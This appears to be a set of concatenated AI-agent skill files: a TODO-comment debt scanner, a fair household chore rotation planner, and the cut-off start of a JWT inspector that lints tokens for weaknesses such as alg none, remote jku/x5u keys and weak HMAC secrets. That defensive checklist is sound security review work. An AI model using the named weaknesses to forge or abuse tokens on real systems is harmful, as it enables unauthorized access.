Scans a codebase for TODO, FIXME, HACK, and XXX comments, extracts owner, ticket, and due date, and flags unowned, untracked, overdue, or vague items with a priority score. Use when cleaning up tech debt, before a release, or asking "which TODOs actually matter?". Includes a stdlib Python scanner with --self-test and a CI-friendly exit code.
---
name: todo-comment-debt-tracker
description: Scans a codebase for TODO, FIXME, HACK, and XXX comments, extracts owner, ticket, and due date, and flags unowned, untracked, overdue, or vague items with a priority score. Use when cleaning up tech debt, before a release, or asking "which TODOs actually matter?". Includes a stdlib Python scanner with --self-test and a CI-friendly exit code.
---
# TODO Comment Debt Tracker
You help teams turn scattered TODO, FIXME, HACK, and XXX comments into a short, owned, prioritized debt list. You scan the code, parse who owns each item, which ticket tracks it, and when it is due, then highlight the ones that are risky or forgotten. You never delete or rewrite comments on your own; you propose changes and let the team decide.
## Files in this skill
- `scripts/todo_debt.py` - scans files or directories, parses owner/ticket/due date, scores each item, and prints a markdown table or JSON (Python 3 standard library only)
- `references/comment-conventions.md` - a recommended TODO format and how to adopt it without churn
- `references/triage-rules.md` - how to decide fix now, ticket, or delete
- `templates/debt-report.md` - report for a sprint review, release checklist, or PR comment
- `examples/sample_service.py` - a small file with typical good and bad TODOs for demos
## Workflow
### 1. Scope the scan
Ask which directories matter and what to skip (generated code, vendored libraries, fixtures). The script already skips `.git`, `node_modules`, `vendor`, `dist`, `build`, virtualenvs, and `target`.
### 2. Run the scanner
```
python3 scripts/todo_debt.py src/ --today 2026-10-18
python3 scripts/todo_debt.py src/ tests/ --ext .py,.ts --json > todo-debt.json
python3 scripts/todo_debt.py examples/sample_service.py --strict
python3 scripts/todo_debt.py --self-test
```
Exit code 1 when an item is overdue or a FIXME/HACK/XXX has no ticket (`--strict`: any problem). Use it as a soft CI gate or a weekly report job.
### 3. Read the problems
- **overdue**: due date passed. Highest priority.
- **no_ticket**: nothing tracks the work; it will be forgotten.
- **stale_hack**: a HACK or XXX with no ticket, often a workaround that outlived its reason.
- **no_owner**: nobody is responsible.
- **vague**: fewer than three words, such as "TODO: fix".
Scores: FIXME/HACK/XXX start at 3, TODO at 1; +2 if overdue, +1 if no ticket.
### 4. Triage with the team
Apply `references/triage-rules.md`: fix now if it is under 30 minutes, create a ticket and add its id if it is real work, delete it if it is obsolete. Use `git blame` on the line to find a likely owner when none is written.
### 5. Report
Fill `templates/debt-report.md` with the top items, totals by marker and owner, and agreed actions. Suggest the convention in `references/comment-conventions.md` for new comments.
## Rules
- Do not count markers inside string literals or plain prose; only comments.
- Never invent ticket numbers or owners; mark them unknown and suggest how to find them.
- Do not remove comments in bulk without review; propose a patch instead.
- Respect generated and vendored code: report it separately or skip it.
FILE:references/comment-conventions.md
# Recommended TODO convention
```
# TODO(owner, TICKET-123, 2026-12-01): what needs to happen and why
```
- **owner**: a username or team handle (`alice`, `@payments-team`). One name, the person who will make the call.
- **ticket**: `#123`, `PROJ-123`, or a full issue URL. Required for FIXME, HACK, and XXX.
- **due date**: ISO `YYYY-MM-DD`, optional for TODO, recommended for HACK workarounds.
- **text**: an action plus the reason, at least a short sentence. "TODO: fix" is not useful.
## Which marker to use
| Marker | Meaning | Ticket required? |
|---|---|---|
| TODO | Planned improvement, not wrong today | Recommended |
| FIXME | Known bug or incorrect behavior | Yes |
| HACK | Deliberate workaround that should be removed | Yes, plus a due date |
| XXX | Danger, surprising code, review needed | Yes |
## Adopting without churn
1. Run the scanner and publish the report; do not mass-edit.
2. Apply the convention to new comments via code review or a lint rule.
3. Fix old comments when you touch that code anyway.
4. Revisit the totals monthly; aim for "no overdue, no untracked FIXME".
FILE:references/triage-rules.md
# Triage rules
For each item, ask in order:
1. **Is it still true?** Read the surrounding code and `git log -L` for the lines. If the issue is gone, delete the comment.
2. **Is it under 30 minutes?** Fix it now in a small PR that removes the comment.
3. **Is it a bug or a risk?** (FIXME/XXX, security, data loss, money) Create a ticket with priority, add the ticket id to the comment, and assign an owner.
4. **Is it a workaround?** (HACK) Write down the condition that allows removal ("remove after vendor SDK 5.x") and a due date.
5. **Is it a wish?** If nobody would schedule it in the next two quarters, delete it or move it to a backlog ticket.
## Priority hints
- Overdue items first, then FIXME/HACK/XXX without tickets, then unowned items in hot files (high churn).
- Items in auth, payments, data migrations, or concurrency code deserve a closer look regardless of score.
## Finding an owner
- `git blame -L <line>,<line> <file>` shows who added it; that person or their team is the default owner.
- CODEOWNERS files map paths to teams.
- If the author has left, assign to the current maintainer of the module.
FILE:templates/debt-report.md
# TODO Debt Report
**Repository:** <name> **Scanned:** <paths> **Date:** <YYYY-MM-DD>
## Totals
| Marker | Count | Overdue | No ticket | No owner |
|---|---|---|---|---|
| TODO | | | | |
| FIXME | | | | |
| HACK | | | | |
| XXX | | | | |
## Top 10 by score
| Score | Location | Marker | Owner | Ticket | Due | Problems | Proposed action |
|---|---|---|---|---|---|---|---|
| | | | | | | | |
## By owner
| Owner | Items | Overdue |
|---|---|---|
## Agreed actions
- [ ] Fix now:
- [ ] Ticket created:
- [ ] Delete (obsolete):
## Convention reminder
`# TODO(owner, TICKET-123, YYYY-MM-DD): action and reason`
FILE:examples/sample_service.py
"""Sample order service with typical TODO comments for demos of todo_debt.py."""
import json
TAX_RATE = 0.2 # XXX(PAY-311): confirm tax rate per region with finance
def load_orders(path):
# TODO(maria, 2026-03-01): switch to streaming parser once files exceed 50 MB (#88)
with open(path, encoding="utf-8") as fh:
return json.load(fh)
def total(order):
# FIXME: returns wrong total when a discount exceeds the subtotal
subtotal = sum(item["price"] * item["qty"] for item in order["items"])
discount = order.get("discount", 0)
return round((subtotal - discount) * (1 + TAX_RATE), 2)
def notify(order):
# HACK [2026-11-30] skip emails for test accounts until the staging mail stub is fixed
if order.get("email", "").endswith("@test.local"):
return False
# TODO: retry
return True
def label(order):
note = "TODO: this string is not a comment and should be ignored"
# TODO(@ken, OPS-19): move label printing to the warehouse service
return f"{order['id']} {note[:0]}"
FILE:scripts/todo_debt.py
#!/usr/bin/env python3
"""Scan source files for TODO/FIXME/HACK/XXX comments and grade them (Python 3 standard library only).
Recognized forms (marker must follow a comment token: # // /* * -- ; <!--):
# TODO: plain note
// TODO(alice): owner
# FIXME(#123): issue number # TODO(PROJ-42) ticket key # TODO(https://...) link
# TODO(bob, 2026-12-01): owner + due date # HACK [2026-11-15] due date in brackets
Problems flagged per item:
no_owner, no_ticket, overdue (due date before --today), stale_hack (HACK/XXX without ticket),
vague (fewer than 3 words of text)
Exit code: 1 if any item is overdue or a FIXME/HACK/XXX has no ticket (with --strict: any problem).
"""
import argparse
import datetime as dt
import json
import os
import re
import sys
MARKERS = ("TODO", "FIXME", "HACK", "XXX")
SEVERITY = {"FIXME": 3, "HACK": 3, "XXX": 3, "TODO": 1}
COMMENT_RE = re.compile(
r"(?:#|//|/\*|(?:^|\s)\*|--|;|<!--)\s*(?P<marker>TODO|FIXME|HACK|XXX)\b"
r"(?:\s*\((?P<paren>[^)]*)\))?(?:\s*\[(?P<bracket>[^\]]*)\])?\s*:?\s*(?P<text>.*)$")
DATE_RE = re.compile(r"\b(\d{4}-\d{2}-\d{2})\b")
TICKET_RE = re.compile(r"(#\d+\b|\b[A-Z][A-Z0-9]+-\d+\b|https?://\S+)")
OWNER_RE = re.compile(r"^@?([A-Za-z][\w.-]*)$")
DEFAULT_EXT = {".py", ".js", ".ts", ".tsx", ".jsx", ".go", ".rs", ".java", ".kt", ".c", ".h", ".cpp",
".cs", ".rb", ".php", ".swift", ".sh", ".sql", ".yaml", ".yml", ".toml", ".css", ".scss",
".html", ".vue", ".lua"}
SKIP_DIRS = {".git", "node_modules", "vendor", "dist", "build", ".venv", "venv", "__pycache__", "target"}
def parse_line(line, path="<text>", lineno=0, today=None):
m = COMMENT_RE.search(line)
if not m:
return None
marker = m.group("marker")
meta = ",".join(x for x in (m.group("paren"), m.group("bracket")) if x)
text = (m.group("text") or "").strip().rstrip("*/").rstrip("-->").strip()
owner = None
ticket = None
due = None
for part in [p.strip() for p in meta.split(",") if p.strip()]:
if DATE_RE.fullmatch(part.replace("by ", "").replace("until ", "").strip()):
due = DATE_RE.search(part).group(1)
elif TICKET_RE.fullmatch(part):
ticket = part
elif OWNER_RE.fullmatch(part) and owner is None:
owner = OWNER_RE.fullmatch(part).group(1)
if ticket is None:
t = TICKET_RE.search(text)
if t:
ticket = t.group(1)
if due is None:
d = re.search(r"\b(?:by|until|before|due)\s+(\d{4}-\d{2}-\d{2})\b", text)
if d:
due = d.group(1)
problems = []
if not owner:
problems.append("no_owner")
if not ticket:
problems.append("no_ticket")
if marker in ("HACK", "XXX"):
problems.append("stale_hack")
if due and today:
try:
if dt.date.fromisoformat(due) < today:
problems.append("overdue")
except ValueError:
problems.append("bad_date")
if len(re.findall(r"[A-Za-z]{2,}", text)) < 3:
problems.append("vague")
return {"file": path, "line": lineno, "marker": marker, "owner": owner, "ticket": ticket,
"due": due, "text": text, "problems": problems,
"score": SEVERITY[marker] + 2 * ("overdue" in problems) + ("no_ticket" in problems)}
def scan_text(text, path="<text>", today=None):
items = []
for i, line in enumerate(text.splitlines(), 1):
it = parse_line(line, path, i, today)
if it:
items.append(it)
return items
def iter_files(root, exts):
if os.path.isfile(root):
yield root
return
for dirpath, dirnames, filenames in os.walk(root):
dirnames[:] = sorted(d for d in dirnames if d not in SKIP_DIRS)
for fn in sorted(filenames):
if os.path.splitext(fn)[1].lower() in exts:
yield os.path.join(dirpath, fn)
def is_blocking(item, strict=False):
if strict:
return bool(item["problems"])
return "overdue" in item["problems"] or (item["marker"] != "TODO" and "no_ticket" in item["problems"])
def summarize(items):
s = {"total": len(items), "by_marker": {}, "by_owner": {}, "problems": {}}
for it in items:
s["by_marker"][it["marker"]] = s["by_marker"].get(it["marker"], 0) + 1
o = it["owner"] or "(unowned)"
s["by_owner"][o] = s["by_owner"].get(o, 0) + 1
for p in it["problems"]:
s["problems"][p] = s["problems"].get(p, 0) + 1
return s
def render(items):
out = ["| Score | Marker | Location | Owner | Ticket | Due | Problems | Text |", "|---|---|---|---|---|---|---|---|"]
for it in sorted(items, key=lambda x: (-x["score"], x["file"], x["line"])):
out.append(f"| {it['score']} | {it['marker']} | {it['file']}:{it['line']} | {it['owner'] or '-'} | "
f"{it['ticket'] or '-'} | {it['due'] or '-'} | {', '.join(it['problems']) or 'ok'} | {it['text'][:60]} |")
return "\n".join(out)
SAMPLE = '''import os
# TODO(alice, 2026-01-15): remove legacy CSV export after #412 ships
def f():
pass # FIXME: crashes when list is empty
// HACK [2026-12-31] skip auth in local dev
/* XXX(PROJ-77): double-check rounding with finance */
-- TODO(@bob): add index
x = "TODO: this is a string, not a comment"
<!-- TODO(carol): https://example.com/issues/9 replace hero image -->
* TODO update docs by 2025-05-01
# todo lowercase is ignored
'''
def self_test():
today = dt.date(2026, 10, 18)
items = scan_text(SAMPLE, "sample", today)
by_line = {it["line"]: it for it in items}
cases = [
("count", len(items), 7),
("owner_parsed", by_line[2]["owner"], "alice"),
("due_parsed", by_line[2]["due"], "2026-01-15"),
("overdue_flag", "overdue" in by_line[2]["problems"], True),
("ticket_from_text", by_line[2]["ticket"], "#412"),
("fixme_no_ticket", by_line[4]["problems"][:2], ["no_owner", "no_ticket"]),
("fixme_blocking", is_blocking(by_line[4]), True),
("hack_bracket_due_future", "overdue" in by_line[5]["problems"], False),
("hack_stale", "stale_hack" in by_line[5]["problems"], True),
("xxx_ticket_key", by_line[6]["ticket"], "PROJ-77"),
("at_owner", by_line[7]["owner"], "bob"),
("vague_short", "vague" in by_line[7]["problems"], True),
("string_not_comment", 8 in by_line, False),
("html_comment_link", by_line[9]["ticket"], "https://example.com/issues/9"),
("star_comment_due_text", by_line[10]["due"], "2025-05-01"),
("lowercase_ignored", 11 in by_line, False),
("todo_not_blocking_default", is_blocking(by_line[7]), False),
("todo_blocking_strict", is_blocking(by_line[7], strict=True), True),
("summary_markers", summarize(items)["by_marker"], {"TODO": 4, "FIXME": 1, "HACK": 1, "XXX": 1}),
("score_overdue_todo", by_line[2]["score"], 3),
]
failed = 0
for name, got, expected in cases:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Find and grade TODO/FIXME/HACK/XXX comments.")
p.add_argument("paths", nargs="*", default=[], help="files or directories to scan")
p.add_argument("--today", help="YYYY-MM-DD for overdue checks (default: today)")
p.add_argument("--ext", help="comma-separated extensions to include, e.g. .py,.ts")
p.add_argument("--json", action="store_true")
p.add_argument("--strict", action="store_true", help="exit 1 on any problem")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.paths:
p.error("give files/directories to scan, or --self-test")
today = dt.date.fromisoformat(a.today) if a.today else dt.date.today()
exts = {e if e.startswith(".") else "." + e for e in a.ext.split(",")} if a.ext else DEFAULT_EXT
items = []
for root in a.paths:
for path in iter_files(root, exts):
try:
with open(path, encoding="utf-8", errors="replace") as fh:
items += scan_text(fh.read(), path, today)
except OSError as e:
print(f"warn: {path}: {e}", file=sys.stderr)
if a.json:
print(json.dumps({"summary": summarize(items), "items": items}, indent=2))
else:
print(render(items))
s = summarize(items)
print(f"\nTotal {s['total']}; markers {s['by_marker']}; problems {s['problems']}")
return 1 if any(is_blocking(it, a.strict) for it in items) else 0
if __name__ == "__main__":
sys.exit(main())Plans a fair, rotating weekly chore schedule for a household: weighs each chore by minutes and frequency, respects capacity shares and "cannot do" limits, rotates jobs week to week, and reports each person's load against a fair target. Use when roommates or families argue about chores or ask "who does what this month?". Includes a stdlib Python planner with --self-test.
---
name: household-chore-rotation-planner
description: Plans a fair, rotating weekly chore schedule for a household: weighs each chore by minutes and frequency, respects capacity shares and "cannot do" limits, rotates jobs week to week, and reports each person's load against a fair target. Use when roommates or families argue about chores or ask "who does what this month?". Includes a stdlib Python planner with --self-test.
---
# Household Chore Rotation Planner
You help households (roommates, couples, families with kids) split chores fairly and rotate them so nobody is stuck with the worst jobs forever. You measure fairness in minutes, not in number of tasks, adjust for each person's capacity, respect real limits (age, allergies, health, skills), and produce a schedule people can stick on the fridge. You stay neutral and kind; you never take sides in a household argument.
## Files in this skill
- `scripts/chore_rotation.py` - builds a multi-week rotation from a JSON list of people and chores and reports minutes vs fair target per person (Python 3 standard library only)
- `references/chore-time-estimates.md` - typical minutes for common chores to use as defaults
- `references/fairness-and-agreements.md` - how to set shares, handle swaps, and run a short house meeting
- `templates/rotation-chart.md` - printable weekly chart plus a house agreement section
- `examples/household.json` - four-person sample household with constraints
## Workflow
### 1. Gather the household
Ask for:
- People and their capacity: full share (1.0), reduced share (for example 0.5 for a young child or someone working night shifts), or larger share by agreement
- Hard limits: chores someone cannot do (`cannot`), or chores only certain people can do (`only`, for example cooking or driving)
- Chores with realistic minutes per session and times per week; use `references/chore-time-estimates.md` when unsure
- How many weeks to plan (4 is a good default) and any preferences ("I would rather cook than clean the bathroom")
### 2. Build the input and run the planner
```
python3 scripts/chore_rotation.py examples/household.json
python3 scripts/chore_rotation.py my-house.json --weeks 6 --json
python3 scripts/chore_rotation.py --self-test
```
Exit code 1 means a chore has no eligible person (fix the `cannot`/`only` lists); 2 means bad input.
### 3. Check fairness
Read the "Overall fairness" table. Within about 10% of target is good. If someone is far off, adjust minutes, split a big chore (for example "Laundry - wash" and "Laundry - fold"), or change shares by agreement, then rerun.
### 4. Apply preferences
The planner balances minutes; it does not know who hates what. Offer swaps of similar minutes between people, and keep the totals close. If a heavy chore lands on the same person every week because of constraints, say so and suggest splitting it.
### 5. Deliver
Fill `templates/rotation-chart.md` with the weekly tables, a short house agreement (swap rules, what "done" means, a monthly check-in), and a friendly group message under 80 words announcing the plan.
## Rules
- Fairness is measured in minutes weighted by agreed shares, not task counts.
- Never assign unsafe chores to children (sharp tools, strong chemicals, ladders, hot ovens without supervision).
- Keep the tone neutral; describe loads with numbers, not blame.
- Invisible work counts: planning meals, booking repairs, and buying supplies can be added as chores with minutes.
FILE:references/chore-time-estimates.md
# Typical chore times (defaults, adjust to your home)
| Chore | Minutes per session | Common frequency |
|---|---|---|
| Dishes / load and unload dishwasher | 15-25 | daily |
| Cook dinner | 30-60 | 3-7 per week |
| Meal planning and grocery list | 20-30 | weekly |
| Grocery run | 45-75 | weekly |
| Laundry (wash, dry, fold, put away) | 40-60 per load | 2-4 loads per week |
| Bathroom clean (sink, toilet, shower, floor) | 30-45 | weekly |
| Kitchen deep clean (counters, stovetop, fridge wipe) | 30-40 | weekly |
| Vacuum and mop | 30-45 | 1-2 per week |
| Dusting | 15-20 | weekly |
| Trash and recycling out | 5-10 | 2-3 per week |
| Change bed linens | 15 per bed | every 1-2 weeks |
| Water plants | 5-15 | 2 per week |
| Pet feeding | 5 | daily, often twice |
| Litter box / pet cleanup | 5 | daily |
| Dog walk | 20-30 | 1-3 per day |
| Mow lawn | 40-60 | weekly in season |
| Clean oven | 30-45 | monthly |
| Pay bills and admin | 20-30 | weekly |
Tips
- Time one session with a phone timer if people disagree about how long a chore takes.
- Split chores that are both long and unpopular so they can rotate more easily.
- Seasonal chores (snow shoveling, gutters) can be added only for the weeks they apply.
FILE:references/fairness-and-agreements.md
# Fairness and house agreements
## Setting shares
- Start everyone at 1.0. Lower shares only by explicit agreement (age, health, very long work hours, exams).
- Children: roughly 0.25-0.5 with age-appropriate chores only.
- Someone who pays more rent or does more invisible work may get a lower chore share; write it down.
## What "done" means
Agree on a one-line definition per chore, for example "Dishes: sink empty, counters wiped, dishwasher running".
## Swaps
- Swaps are fine if both people agree and minutes are similar.
- Post swaps in the group chat so nobody is surprised.
- A missed chore is made up within 48 hours or swapped, not silently skipped.
## 15-minute monthly check-in
1. Each person: one thing working, one thing not (2 minutes each).
2. Look at the fairness table; adjust minutes or shares if reality changed.
3. Decide on one improvement for next month.
4. Regenerate the rotation.
## Handling conflict
- Talk about the system, not the person ("Bathroom keeps slipping on Thursdays" instead of "You never clean").
- If one person carries far more invisible work, add it to the chore list with minutes.
FILE:templates/rotation-chart.md
# Chore Rotation - <household name>
**Period:** <start date> to <end date> **People:** <names and shares>
## Week 1 (<dates>)
| Chore | Who | Done? |
|---|---|---|
| | | [ ] |
## Week 2 (<dates>)
| Chore | Who | Done? |
|---|---|---|
| | | [ ] |
## Fairness (minutes)
| Person | Share | Minutes | Target | Deviation |
|---|---|---|---|---|
## House agreement
- "Done" means:
- Swap rule:
- Missed chore rule:
- Monthly check-in date:
## Group message
> Hi all! New chore rotation for <period> is on the fridge and pinned here. Loads are balanced by time. Swaps are fine, just post them. Check-in on <date>.
FILE:examples/household.json
{
"weeks": 4,
"people": [
{"name": "Leyla", "share": 1.0},
{"name": "Tom", "share": 1.0, "cannot": ["Litter box"]},
{"name": "Deniz", "share": 0.5, "cannot": ["Clean oven", "Mow lawn"]},
{"name": "Sam", "share": 0.75}
],
"chores": [
{"name": "Dishes", "minutes": 20, "times_per_week": 7},
{"name": "Cook dinner", "minutes": 45, "times_per_week": 3, "only": ["Leyla", "Tom", "Sam"]},
{"name": "Laundry", "minutes": 40, "times_per_week": 2},
{"name": "Bathroom clean", "minutes": 40, "times_per_week": 1},
{"name": "Vacuum and mop", "minutes": 35, "times_per_week": 2},
{"name": "Trash and recycling", "minutes": 10, "times_per_week": 3},
{"name": "Grocery run", "minutes": 60, "times_per_week": 1},
{"name": "Litter box", "minutes": 5, "times_per_week": 7},
{"name": "Water plants", "minutes": 10, "times_per_week": 2},
{"name": "Mow lawn", "minutes": 50, "times_per_week": 1},
{"name": "Clean oven", "minutes": 30, "times_per_week": 1}
]
}
FILE:scripts/chore_rotation.py
#!/usr/bin/env python3
"""Fair household chore rotation planner (Python 3 standard library only).
Input JSON:
{
"weeks": 4,
"people": [{"name": "Ana", "share": 1.0, "cannot": ["Mow lawn"]}, ...],
"chores": [{"name": "Dishes", "minutes": 20, "times_per_week": 7, "only": ["Ana", "Ben"]}, ...]
}
share: relative capacity (1.0 = normal; 0.5 = half load, e.g. a child or someone with long shifts)
cannot / only: hard constraints (allergies, age, physical limits, skills)
Algorithm per week: chores sorted by weekly minutes (largest first) go to the eligible person with the
lowest (load / share); ties are broken in favor of someone who did NOT have that chore last week,
so chores rotate. Reports per-person minutes, target minutes, and deviation.
Exit code: 0 OK, 1 if a chore has no eligible person, 2 on bad input.
"""
import argparse
import json
import sys
class PlanError(ValueError):
pass
def validate(data):
people = data.get("people") or []
chores = data.get("chores") or []
if not people:
raise PlanError("need at least one person")
if not chores:
raise PlanError("need at least one chore")
names = [p["name"] for p in people]
if len(set(names)) != len(names):
raise PlanError("duplicate person names")
for p in people:
if float(p.get("share", 1.0)) <= 0:
raise PlanError(f"share must be > 0 for {p['name']}")
for c in chores:
if float(c.get("minutes", 0)) <= 0 or float(c.get("times_per_week", 1)) <= 0:
raise PlanError(f"minutes and times_per_week must be > 0 for {c.get('name')}")
for n in c.get("only", []):
if n not in names:
raise PlanError(f"chore {c['name']} lists unknown person {n}")
return people, chores
def weekly_minutes(chore):
return float(chore["minutes"]) * float(chore.get("times_per_week", 1))
def eligible(person, chore):
if chore.get("only") and person["name"] not in chore["only"]:
return False
return chore["name"] not in person.get("cannot", [])
def plan_week(people, chores, last_week=None):
"""Return (assignment {chore: person}, loads {person: minutes}, unassigned [chore])."""
last_week = last_week or {}
loads = {p["name"]: 0.0 for p in people}
assignment = {}
unassigned = []
order = sorted(chores, key=lambda c: (-weekly_minutes(c), c["name"]))
for c in order:
cands = [p for p in people if eligible(p, c)]
if not cands:
unassigned.append(c["name"])
continue
w = weekly_minutes(c)
def key(p):
share = float(p.get("share", 1.0))
after = (loads[p["name"]] + w) / share
repeat = 1 if last_week.get(c["name"]) == p["name"] else 0
return (round(after, 6), repeat, p["name"])
# prefer rotation when loads are close: compare within a 10% band of the best option
ranked = sorted(cands, key=key)
best = key(ranked[0])[0]
band = [p for p in ranked if key(p)[0] <= best * 1.10 + 1e-9]
band.sort(key=lambda p: (key(p)[1], key(p)[0], p["name"]))
chosen = band[0]
assignment[c["name"]] = chosen["name"]
loads[chosen["name"]] += w
return assignment, loads, unassigned
def fairness(people, loads):
total = sum(loads.values())
total_share = sum(float(p.get("share", 1.0)) for p in people)
rows = []
for p in people:
target = total * float(p.get("share", 1.0)) / total_share
got = loads[p["name"]]
dev = (got - target) / target * 100 if target else 0.0
rows.append({"name": p["name"], "minutes": round(got, 1), "target": round(target, 1),
"deviation_pct": round(dev, 1)})
return rows
def plan(data):
people, chores = validate(data)
weeks = int(data.get("weeks", 4))
result = []
cumulative = {p["name"]: 0.0 for p in people}
last = None
for wk in range(1, weeks + 1):
assignment, loads, unassigned = plan_week(people, chores, last)
for k, v in loads.items():
cumulative[k] += v
result.append({"week": wk, "assignment": assignment, "fairness": fairness(people, loads),
"unassigned": unassigned})
last = assignment
return {"weeks": result, "overall": fairness(people, cumulative)}
def render(res):
out = []
for w in res["weeks"]:
out.append(f"## Week {w['week']}")
out.append("| Chore | Who |")
out.append("|---|---|")
for chore, who in sorted(w["assignment"].items()):
out.append(f"| {chore} | {who} |")
for u in w["unassigned"]:
out.append(f"| {u} | UNASSIGNED (no eligible person) |")
out.append("")
out.append("## Overall fairness (minutes across all weeks)")
out.append("| Person | Minutes | Target | Deviation |")
out.append("|---|---|---|---|")
for r in res["overall"]:
out.append(f"| {r['name']} | {r['minutes']} | {r['target']} | {r['deviation_pct']:+.1f}% |")
return "\n".join(out)
def self_test():
base = {
"weeks": 4,
"people": [{"name": "Ana"}, {"name": "Ben"}, {"name": "Cem", "share": 0.5, "cannot": ["Mow lawn"]}],
"chores": [
{"name": "Dishes", "minutes": 20, "times_per_week": 7},
{"name": "Laundry", "minutes": 60, "times_per_week": 2},
{"name": "Bathroom", "minutes": 45, "times_per_week": 1},
{"name": "Vacuum", "minutes": 30, "times_per_week": 2},
{"name": "Trash", "minutes": 5, "times_per_week": 3},
{"name": "Mow lawn", "minutes": 50, "times_per_week": 1},
{"name": "Feed cat", "minutes": 5, "times_per_week": 14, "only": ["Cem", "Ana"]},
],
}
res = plan(base)
w1 = res["weeks"][0]["assignment"]
lawn_never_cem = all(w["assignment"]["Mow lawn"] != "Cem" for w in res["weeks"])
cat_ok = all(w["assignment"]["Feed cat"] in ("Cem", "Ana") for w in res["weeks"])
dishes_people = {w["assignment"]["Dishes"] for w in res["weeks"]}
overall = {r["name"]: r for r in res["overall"]}
max_dev = max(abs(r["deviation_pct"]) for r in res["overall"])
two = plan({"weeks": 2, "people": [{"name": "A"}, {"name": "B"}],
"chores": [{"name": "X", "minutes": 10}, {"name": "Y", "minutes": 10}]})
rotated = two["weeks"][0]["assignment"]["X"] != two["weeks"][1]["assignment"]["X"]
orphan = plan({"weeks": 1, "people": [{"name": "A", "cannot": ["Z"]}], "chores": [{"name": "Z", "minutes": 5}]})
errors = []
for bad in ({"people": [], "chores": [{"name": "x", "minutes": 1}]},
{"people": [{"name": "A"}, {"name": "A"}], "chores": [{"name": "x", "minutes": 1}]},
{"people": [{"name": "A", "share": 0}], "chores": [{"name": "x", "minutes": 1}]},
{"people": [{"name": "A"}], "chores": [{"name": "x", "minutes": 0}]},
{"people": [{"name": "A"}], "chores": [{"name": "x", "minutes": 1, "only": ["Q"]}]}):
try:
plan(bad)
errors.append(False)
except PlanError:
errors.append(True)
cases = [
("all_chores_assigned_w1", len(w1), 7),
("weekly_minutes", weekly_minutes(base["chores"][0]), 140.0),
("cannot_respected", lawn_never_cem, True),
("only_respected", cat_ok, True),
("dishes_rotate", len(dishes_people) >= 2, True),
("half_share_lower_load", overall["Cem"]["minutes"] < overall["Ana"]["minutes"], True),
("overall_fair_within_25pct", max_dev <= 25.0, True),
("targets_sum_to_total", round(sum(r["target"] for r in res["overall"]), 0) == round(sum(r["minutes"] for r in res["overall"]), 0), True),
("equal_tie_rotates", rotated, True),
("orphan_reported", orphan["weeks"][0]["unassigned"], ["Z"]),
("bad_inputs_rejected", errors, [True] * 5),
("render_has_header", render(res).startswith("## Week 1"), True),
]
failed = 0
for name, got, expected in cases:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Plan a fair, rotating household chore schedule.")
p.add_argument("input", nargs="?", help="JSON file with weeks, people, chores")
p.add_argument("--weeks", type=int, help="override number of weeks")
p.add_argument("--json", action="store_true")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.input:
p.error("give an input JSON file, or --self-test")
try:
with open(a.input, encoding="utf-8") as fh:
data = json.load(fh)
if a.weeks:
data["weeks"] = a.weeks
res = plan(data)
except (OSError, json.JSONDecodeError, PlanError, KeyError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(res, indent=2) if a.json else render(res))
return 1 if any(w["unassigned"] for w in res["weeks"]) else 0
if __name__ == "__main__":
sys.exit(main())Decodes a JWT without trusting it and lints the header and claims: alg none, remote jku/x5u keys, missing or expired exp, nbf/iat clock skew, millisecond timestamps, long lifetimes, iss/aud mismatches, sensitive data in the payload, and HMAC signature checks with a secret from an env var. Use when a login or API call fails with 401, or when reviewing token settings. Includes a stdlib Python inspector with --self-test.
---
name: jwt-token-inspector
description: Decodes a JWT without trusting it and lints the header and claims: alg none, remote jku/x5u keys, missing or expired exp, nbf/iat clock skew, millisecond timestamps, long lifetimes, iss/aud mismatches, sensitive data in the payload, and HMAC signature checks with a secret from an env var. Use when a login or API call fails with 401, or when reviewing token settings. Includes a stdlib Python inspector with --self-test.
---
# JWT Token Inspector
You help developers understand and debug JSON Web Tokens safely. You decode the header and payload, translate timestamps into readable UTC times, explain what each claim means, and flag settings that make the token unsafe, unusable, or likely to break in production. You treat every token as untrusted: decoding is not verification, and you say so.
## Files in this skill
- `scripts/jwt_inspect.py` - decodes a JWS compact token, lints header and claims, optionally verifies HS256/HS384/HS512 with a secret, prints markdown or JSON (Python 3 standard library only)
- `references/claims-and-validation.md` - registered claims, what a verifier must check, and in which order
- `references/common-jwt-pitfalls.md` - the mistakes behind most JWT bugs and incidents, with fixes
- `templates/jwt-review.md` - a short report for a bug ticket, PR review, or security review
- `examples/sample-tokens.md` - three demo tokens (long-lived, alg none, remote jku with millisecond exp) and expected findings
## Workflow
### 1. Handle the token safely
Ask for a token from a test or staging environment. If the user pastes a live production token, warn them that it grants access until it expires and suggest rotating it after the session. Never repeat the full token or signature back in your answer.
### 2. Run the inspector
```
python3 scripts/jwt_inspect.py "<token>"
python3 scripts/jwt_inspect.py "<token>" --now 2026-10-19T09:00:00Z --leeway 60
python3 scripts/jwt_inspect.py "<token>" --expect-iss https://auth.example.com --expect-aud api://orders
JWT_SECRET=... python3 scripts/jwt_inspect.py "<token>" --secret-env JWT_SECRET
python3 scripts/jwt_inspect.py --self-test
```
A `Bearer ` prefix is stripped. Use `-` to read the token from stdin. Exit code 1 means at least one high finding (`--strict`: any finding); 2 means the token could not be decoded.
### 3. Explain the result
- Show the decoded header and claims and the exp/nbf/iat times in UTC and in the user's time zone.
- Group findings by severity: **high** (unsafe or rejected: alg none, empty signature, expired, not yet valid, iss/aud mismatch, remote or embedded keys, bad signature, millisecond timestamps), **medium** (no exp, lifetime over policy, sensitive claims, weak HMAC secret, iat in the future), **low** (missing iss, aud, sub, or kid).
- For a 401, match the finding to the symptom using `references/claims-and-validation.md`: clock skew, wrong audience, wrong issuer, or wrong key are the usual causes.
### 4. Recommend fixes
